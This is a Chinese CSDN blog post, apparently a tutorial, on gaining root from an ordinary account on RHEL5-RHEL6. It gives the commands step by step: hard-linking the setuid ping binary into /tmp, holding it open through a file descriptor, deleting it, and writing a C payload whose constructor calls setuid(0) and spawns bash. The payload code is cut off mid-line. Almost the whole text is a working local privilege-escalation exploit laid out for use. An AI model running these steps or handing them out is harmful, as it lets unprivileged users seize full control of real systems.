c语言提权,利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限

本文介绍了如何在RHEL5-RHEL6系统中,通过C语言创建一个利用tmp目录权限和suid的程序,实现普通用户提权至ROOT权限的过程。首先创建普通用户,然后查看并利用tmp目录的权限,创建硬链接到带suid权限的ping命令,接着编写C语言代码并在内存中执行,最终成功提权。
摘要由CSDN通过智能技术生成

提权:利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限

RHEL5-RHEL6下面都可以实现,root的UID是零

创建一个普通用户

useradd andy

切换到andy用户

su - andy

查看当前用户是谁

whoami

查看tmp目录权限

[andy@bogon tmp]$ ll -d /tmp

drwxrwxrwt. 15 root root 4096 6月  29 14:08 /tmp

切换到tmp目录

cd /tmp

创建一个exploit目录

mkdir exploit

查看ping命令带suid权限

ll /bin/ping

创建target文件硬链接

ln /bin/ping /tmp/exploit/target

查看target文件权限

ll /tmp/exploit/target

把target文件加载到内存中

exec 3< /tmp/exploit/target

查看target在内存中的情况

"ll /proc/$$/fd/3"

删除target文件

rm -rf /tmp/exploit/

查看target在内存中的情况是删除状态

"ll /proc/$$/fd/3"

创建一个c语言代码 [andy@bogon tmp]$ vim payload.c  void __attribute__((constructor)) init()  // 两个下划线 {      setuid(0);      system("/bin/bash

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值